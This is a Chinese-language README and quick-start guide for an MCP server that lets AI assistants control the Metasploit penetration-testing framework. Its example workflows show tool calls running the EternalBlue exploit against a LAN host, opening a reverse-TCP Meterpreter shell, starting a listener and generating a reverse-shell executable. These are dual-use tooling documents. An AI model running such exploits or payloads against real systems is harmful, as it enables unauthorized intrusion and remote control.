Metasploit MCP 服务器

用于集成 Metasploit 框架的模型上下文协议 (MCP) 服务器。

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

描述

该 MCP 服务器为大型语言模型（如 Claude）与 Metasploit 框架渗透测试平台之间提供桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能，从而实现对复杂安全测试工作流的自然语言接口。

特性

模块信息

• list_exploits: 搜索并列出可用的 Metasploit 漏洞利用模块
• list_payloads: 搜索并列出可用的 Metasploit payload 模块，并可选择按平台和架构进行过滤

漏洞利用流程

• run_exploit: 配置并针对目标执行漏洞利用，可选择先运行检查
• run_auxiliary_module: 运行任何带有自定义选项的 Metasploit 辅助模块
• run_post_module: 对现有会话执行后渗透模块

Payload 生成

• generate_payload: 使用 Metasploit RPC 生成 payload 文件（保存到本地）

会话管理

• list_active_sessions: 显示当前的 Metasploit 会话及其详细信息
• send_session_command: 在活动的 shell 或 Meterpreter 会话中执行命令
• terminate_session: 强制结束活动会话

处理器管理

• list_listeners: 显示所有活动的监听器和后台作业
• start_listener: 创建一个新的 multi/handler 监听器以接收连接
• stop_job: 终止任何正在运行的作业或监听器

先决条件

• 已安装 Metasploit 框架并运行 msfrpcd
• Python 3.10 或更高版本
• 必要的 Python 包（参见 requirements.txt）

安装

1. 克隆本仓库
2. 安装依赖：

   pip install -r requirements.txt
   

3. 配置环境变量（可选）：

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # 可选：生成的 payload 保存路径
   

使用方法

启动 Metasploit RPC 服务：

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

传输方式

服务器支持两种传输方式：

• HTTP/SSE（服务器发送事件）：默认模式，便于与大多数 MCP 客户端互操作
• STDIO（标准输入/输出）：用于 Claude Desktop 等直接管道连接

可通过 --transport 标志显式选择传输模式：

# 使用 HTTP/SSE 传输（默认）
python MetasploitMCP.py --transport http

# 使用 STDIO 传输
python MetasploitMCP.py --transport stdio

HTTP 模式的附加选项：

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Claude Desktop 集成

对于 Claude Desktop 集成，请配置 claude_desktop_config.json：

{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

其他 MCP 客户端

对于使用 HTTP/SSE 的其他 MCP 客户端：

1. 以 HTTP 模式启动服务器：

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. 配置您的 MCP 客户端连接至：
   • SSE 端点：http://your-server-ip:8085/sse

安全注意事项

⚠️ 重要安全警告：

该工具提供了对 Metasploit 框架功能的直接访问权限，其中包括强大的漏洞利用功能。请谨慎使用，仅在您获得明确授权的安全测试环境中使用。

• 始终在执行前验证并审查所有命令
• 仅在隔离的测试环境或获得适当授权的情况下运行
• 请注意，后渗透命令可能导致系统发生重大修改

示例工作流

基本漏洞利用

1. 列出可用的漏洞：list_exploits("ms17_010")
2. 选择并运行一个漏洞：run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. 列出会话：list_active_sessions()
4. 执行命令：send_session_command(1, "whoami")

后渗透

1. 运行后渗透模块：run_post_module("windows/gather/enum_logged_on_users", 1)
2. 发送自定义命令：send_session_command(1, "sysinfo")
3. 完成后终止会话：terminate_session(1)

处理器管理

1. 启动监听器：start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. 列出活动监听器：list_listeners()
3. 生成 payload：generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. 停止监听器：stop_job(1)

测试

该项目包含全面的单元测试和集成测试，以确保可靠性和可维护性。

测试先决条件

安装测试依赖：

pip install -r requirements-test.txt

或者使用便捷的安装脚本：

python run_tests.py --install-deps
# OR
make install-deps

运行测试

快速命令

# 运行所有测试
python run_tests.py --all
# OR
make test

# 带覆盖率报告运行
python run_tests.py --all --coverage
# OR
make coverage

# 带 HTML 覆盖率报告运行
python run_tests.py --all --coverage --html
# OR
make coverage-html

特定测试套件

# 仅运行单元测试
python run_tests.py --unit
# OR
make test-unit

# 仅运行集成测试  
python run_tests.py --integration
# OR
make test-integration

# 选项解析测试
python run_tests.py --options
# OR
make test-options

# 辅助函数测试
python run_tests.py --helpers
# OR
make test-helpers

# MCP 工具测试
python run_tests.py --tools
# OR
make test-tools

测试选项

# 包含慢速测试
python run_tests.py --all --slow

# 包含网络测试（需要实际网络）
python run_tests.py --all --network

# 详细输出
python run_tests.py --all --verbose

# 快速测试（无覆盖率，快速失败）
make quick-test

# 调试模式（详细失败信息）
make test-debug

测试结构

• tests/test_options_parsing.py：优雅选项解析功能的单元测试
• tests/test_helpers.py：内部辅助函数和 MSF 客户端管理的单元测试
• tests/test_tools_integration.py：所有 MCP 工具与模拟 Metasploit 后端的集成测试
• conftest.py：共享的测试夹具和配置
• pytest.ini：包含覆盖率设置的 Pytest 配置

测试特性

• 全面的模拟：所有 Metasploit 依赖项均被模拟，因此测试无需实际安装 MSF 即可运行。
• 异步支持：使用 pytest-asyncio 提供完整的 async/await 测试支持。
• 覆盖率报告：生成详细的覆盖率分析，并以 HTML 格式呈现。
• 参数化测试：高效测试多种输入场景。
• 夹具管理：为常见设置场景提供可重用的测试夹具。

覆盖率报告

运行带覆盖率的测试后，报告可在以下位置查看：

• 终端：测试运行结束后显示覆盖率摘要。
• HTML：htmlcov/index.html（使用 --html 选项时）。

CI/CD 集成

用于持续集成：

# 适合 CI 的测试命令
make ci-test
# 或者
python run_tests.py --all --coverage --verbose

配置选项

有效载荷保存目录

默认情况下，使用 generate_payload 生成的有效载荷会保存到用户主目录下的 payloads 目录中（例如 ~/payloads 或 C:\Users\YourUsername\payloads）。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义该路径。

设置环境变量的方法：

• Windows (PowerShell)：

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (命令提示符)：

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS：

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• 在 Claude Desktop 配置中：

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // 仅当需要覆盖默认值时添加
  }
  

注意： 如果您指定了自定义路径，请确保该路径已存在，或应用程序具有创建该路径的权限。如果路径无效，有效载荷生成可能会失败。

许可证

Apache 2.0

MetasploitMCP 快速上手指南

MetasploitMCP 是一个基于模型上下文协议（MCP）的服务器，旨在连接大语言模型（如 Claude）与 Metasploit Framework 渗透测试平台。它允许 AI 助手通过自然语言接口动态调用 Metasploit 功能，执行漏洞利用、载荷生成及会话管理等安全测试任务。

环境准备

在开始之前，请确保满足以下系统要求和前置依赖：

• 操作系统：Linux、macOS 或 Windows
• Metasploit Framework：已安装并配置好 msfrpcd 服务
• Python 版本：Python 3.10 或更高版本
• 网络权限：确保本地回环地址（127.0.0.1）端口通信正常

安装步骤

1. 克隆项目

首先从 GitHub 克隆仓库到本地：

git clone https://github.com/your-repo/MetasploitMCP.git
cd MetasploitMCP

2. 安装 Python 依赖

使用 pip 安装所需库（国内用户可指定清华源加速）：

pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

3. 配置环境变量（可选）

您可以设置以下环境变量来定制连接参数和载荷保存路径：

export MSF_PASSWORD=yourpassword
export MSF_SERVER=127.0.0.1
export MSF_PORT=55553
export MSF_SSL=false
export PAYLOAD_SAVE_DIR=/path/to/save/payloads

(Windows PowerShell 用户使用 $env:VAR_NAME = "value" 格式)

基本使用

第一步：启动 Metasploit RPC 服务

在使用 MCP 服务器前，必须先启动 Metasploit 的 RPC 守护进程：

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

第二步：运行 MetasploitMCP 服务器

该工具支持两种传输模式，根据您的需求选择其一：

模式 A：HTTP/SSE 模式（默认，适用于大多数 MCP 客户端）

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

客户端连接地址：http://your-server-ip:8085/sse

模式 B：STDIO 模式（适用于 Claude Desktop 等直接管道连接）

python MetasploitMCP.py --transport stdio

第三步：通过 AI 助手执行操作

配置好 MCP 客户端后，您可以直接使用自然语言向 AI 助手下达指令。以下是典型的工作流示例：

1. 搜索漏洞模块

   "列出所有包含 ms17_010 的利用模块。" (对应工具：list_exploits)

2. 执行漏洞利用

   "对目标 192.168.1.100 运行 exploit/windows/smb/ms17_010_eternalblue，使用 windows/x64/meterpreter/reverse_tcp 载荷，监听地址为 192.168.1.10:4444。" (对应工具：run_exploit)

3. 管理会话

   "显示当前活跃的会话，并在会话 1 中执行 'whoami' 命令。" (对应工具：list_active_sessions, send_session_command)

4. 生成 Payload

   "生成一个 windows meterpreter reverse tcp 的 exe 载荷，保存到我的下载目录。" (对应工具：generate_payload)

---

⚠️ 安全警告：本工具提供直接的漏洞利用能力。请仅在您拥有明确授权的环境或隔离的测试网络中使用。未经授权的攻击行为是非法的。